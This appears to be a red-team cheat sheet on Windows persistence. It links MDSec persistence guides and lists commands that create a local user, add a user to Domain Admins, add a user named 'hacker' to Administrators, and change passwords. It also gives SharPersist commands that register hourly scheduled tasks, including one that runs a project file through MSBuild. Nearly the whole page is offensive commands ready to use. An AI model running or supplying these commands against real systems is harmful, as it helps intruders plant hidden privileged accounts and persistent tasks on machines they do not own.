Guides

3 good guides:

• https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-1-microsoft-office/
• https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-2-com-hijacking/
• https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-3-wmi-event-subscription/

Add User

Commands:

net user "username" "password" /ADD

net group "Domain Admins" %username% /DOMAIN /ADD

Change user password

net user USERNAME *

Using Powershell:

Add-LocalGroupMember -Group Administrators -Member hacker

Scheduled task

SharpPresist

https://github.com/fireeye/SharPersist

Create a Scheduled task:

Execute-assembly ~/Downloads/SharPersist.exe -t schtask -c "C:\\Windows\\System32\\cmd.exe" -a "/c echo 123 >> c:\\123.txt" -n "Some Task" -m add -o hourly

Or

SharPersist -t schtask -c "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Msbuild.exe" -a "C:\\Users\\John\\msbuild.csproj" -n "Test" -m add -o hourly